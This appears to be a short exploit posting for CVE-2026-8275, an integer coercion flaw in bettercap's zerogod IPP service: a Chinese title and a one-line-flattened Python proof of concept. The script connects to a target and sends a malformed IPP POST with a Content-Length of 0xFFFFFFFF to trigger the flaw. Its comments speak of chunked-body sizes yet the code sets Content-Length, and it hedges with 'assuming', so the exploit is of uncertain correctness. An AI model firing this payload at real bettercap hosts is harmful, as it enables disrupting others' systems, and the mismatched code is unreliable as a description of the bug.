CVE-2026-8275 bettercap 整数强制转换漏洞

import socket def exploit_ipp_coercion(target_ip, target_port): """ PoC for CVE-2026-8275: Integer Coercion in bettercap zerogod IPP Service. Sends a malformed IPP packet to trigger the integer coercion error. """ try: # Create a socket connection to the target IPP service s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct a malicious IPP request # The vulnerability lies in ippReadChunkedBody handling chunk sizes. # We simulate a large chunk size to trigger coercion/truncation. payload = b"POST /ipp HTTP/1.1\r\n" payload += b"Content-Type: application/ipp\r\n" payload += b"Host: target\r\n" # Triggering the coercion logic with a crafted chunk size # Assuming the parser expects a specific integer type malicious_chunk_size = 0xFFFFFFFF # Max 32-bit int payload += f"Content-Length: {malicious_chunk_size}\r\n".encode() payload += b"\r\n" payload += b"\x01\x00" + b"\x00" * 10 # Minimal IPP header s.sendall(payload) print("[+] Payload sent to target.") response = s.recv(1024) print("[+] Response received:", response) s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target IP and Port exploit_ipp_coercion("127.0.0.1", 631)